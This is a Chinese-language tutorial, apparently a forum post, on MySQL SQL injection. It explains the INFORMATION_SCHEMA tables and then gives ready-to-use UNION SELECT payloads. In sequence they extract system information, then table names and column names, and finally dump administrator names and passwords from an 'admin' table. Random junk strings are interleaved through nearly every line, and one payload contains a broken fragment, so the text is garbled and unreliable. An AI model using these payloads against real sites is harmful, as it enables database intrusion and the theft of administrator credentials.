本文介绍MYSQL盲注的一些语句和方法" K7 w8 M& b7 z0 g+ Y
0 k. w0 y7 i) D% Q
学习盲注前先了解下 IFORMATION_SCHEMA 库
9 }2 { Z( F3 R9 A
; w0 a' L+ t5 B: H& v: B& dMysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其中记录了Mysql中所有
" @% s( g6 O- o7 _+ M [: q( A存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。) f% u3 ?1 p( t: v/ w( c4 h) j
1.得到所有数据库名:
# N: M U% E: c# c- ~( @6 R|SCHEMATA ->存储数据库名的表, S( |/ M# w q- c2 `
|---字段:SCHEMA_NAME ->数据库名称" U* H+ |, u# y% V! T# R
" W( O, O; `8 A& |* ~0 u6 K
|TABLES ->存储表名
. z% D5 v+ D3 G. h/ Y; T# h7 K- i|---字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名 S# v' e, ]) K7 D9 z
|---字段:TABLE_NAME ->存储表的表名2 a$ m2 M4 t0 Z3 \" ~/ g( S6 z2 ? Q' p
2 r5 U8 R. o' N& b: i7 {
|COLUMNS ->存储的字段名表8 {1 Q% I1 b `9 m* ^
|---字段:TABLE_SCHEMA ->该字段所属数据库名
" ]* e- `; `: U: `( Y X|---字段:TABLE_NAME ->存储所属表的名称" V( ^6 M2 v D; w* a" Z# M6 N2 i
* x9 B. \" \) U6 m* ~|---字段:COLUMN_NAME ->该字段的名称1 g8 u/ @# d. x W. i2 w5 M
5 \9 Y! O! }8 b. U: D" ?1 }1 n
" ^# i, h6 o$ i: s' P4 O
2 `" \$ |7 r9 s; n8 `* y) }3 t###########################################################################& l. y& M% v/ g) x2 H
R: D. u* f) i. L1 n4 H! L. c0x001 获取系统信息:
6 t- m+ r, m$ @ U: [
, u& {# v6 I# Q' C/ m& sunion select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*2 K0 {9 `- A& k8 v; _
0 l+ t7 {) b4 w: J2 e5 s
/*
: E( s2 _1 D' b7 Q6 S
. E* k; A1 }( u/ g( Z$ y* x* E/ i8 D@@global.version_compile_os 获取系统版本- \2 ]% b8 }8 |1 q2 M& R0 _# |7 S T
+ W- u4 r" \; k. g; m% {+ h Q@@datadir 数据库路径
: H+ t t" e }8 D; h7 [database() 当前数据库名称% x3 E8 O% F+ K0 i2 ?+ F8 x, D
0x3c62723e 换行HEX值
' ^2 X7 W. O/ L- B4 K
3 O# ~ w5 [5 \% i% g' P0 ]*/( u; D6 d& l8 v
k% f+ P2 m* x# z7 }4 y 7 u, F- {9 ^ C' k, F$ s
b$ W# Q2 g) L1 _9 }0 `; d+ J! U######################################################################+ F; W( l- y8 H4 I. h) @$ x V5 X
5 I: {! w5 F1 i8 l
0x002 获取表名
* ~3 C' Q Z( \% o) ^
- ]1 L( v9 z8 j9 j5 V( munion select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*/ _; G+ z; `, Z
- h( Z" t0 O e, h! r & ]2 F1 F) i% `6 `, L/ ~' Q
# |8 O6 o; P, C0 ~' G
/*
' d8 I |) w' s$ b2 b$ o
# m& ~! d% H% U" i0x67617264656e 为当前数据库名2 I# q, }3 N1 n/ n; O7 z" L' S4 t
. Q5 r1 s% |9 k$ k* ~; T8 D! e
group_concat(table_name) 使用group_concat函数 一步获得该库所有表名 Z/ ]3 g. G2 g7 T& j
- J9 s% U! `) N9 F
*/
% o5 C4 F* y" D8 M7 K' }
4 @/ O C1 w& n######################################################################5 ]+ j( N3 X' m1 }
- b: X# u" x4 I7 M
/ q) a* r @+ |9 a/ I) U/ y% Z
" i6 q4 u# X/ \) c( g i
0x003 获取字段
( g% A8 z+ Z( O* l3 m4 M! L8 m
( i. W8 Y7 J# ` ~0 {4 Hunion select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*+ \9 V3 F. Y# `% `
# F) v/ X) i/ a/*& U2 F3 W6 f7 @% v; R5 s5 ~0 }5 {
0 j! z5 F$ T; z1 Qgroup_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段
( _: E9 z* Y1 y
) v. ~. S0 a% q) r8 k0x61646d696e ->选择一个表' K7 B* K7 a6 x$ g7 b% U
2 y" m6 ?1 Z$ l1 P( N0x67617264656e ->数据库名& C* f3 \/ N& e E/ i% I
0 s9 q' h8 d' h1 }! Z*/
% W( D5 Z5 G: K0 U: i" u
9 r+ h6 i8 T- x' S+ P8 J$ T# m#####################################################################
9 X+ ]" U7 z) O; w! {: k- S( c! T+ J# u' e; X+ H1 t8 T; u! E; C
! V, C2 \6 e0 v! E4 ~, ^+ l2 | }+ Q! @. a7 `
0x004 获取数据
# m% K: B' @, ^1 j9 e! w) h
% d7 l' s7 }1 C& T$ runion select 1,2,3 g6 D; ^' I: A: ]+ p, R
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
/ h2 f f5 c+ V, R
" B/ M! h' Z$ j6 [8 n7 aunion select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin3 j8 t2 k+ i& }6 E8 r% d, x5 n2 ~
$ P, M) u" l, u. c- M+ t1 [
9 X( \3 W2 V. J) m
A7 V) F2 U" B3 x# u/*
* C" @1 e- I8 Y" L4 s _& F) w5 ~- W- J/ @, o
0x3c62723e 换行符号HEX编码; @. }0 V. E$ t- {: S3 T
1 h [# M7 P5 H5 B2 z O- u
group_concat 同时获得该字段所有数据
& o- y: h, A# J* ~! ]! e' P/ q) v. M) D8 d6 d4 q7 G6 q3 h
*/) M$ t* g5 G& I$ r
# |; |' f3 T$ U% A% ?' o |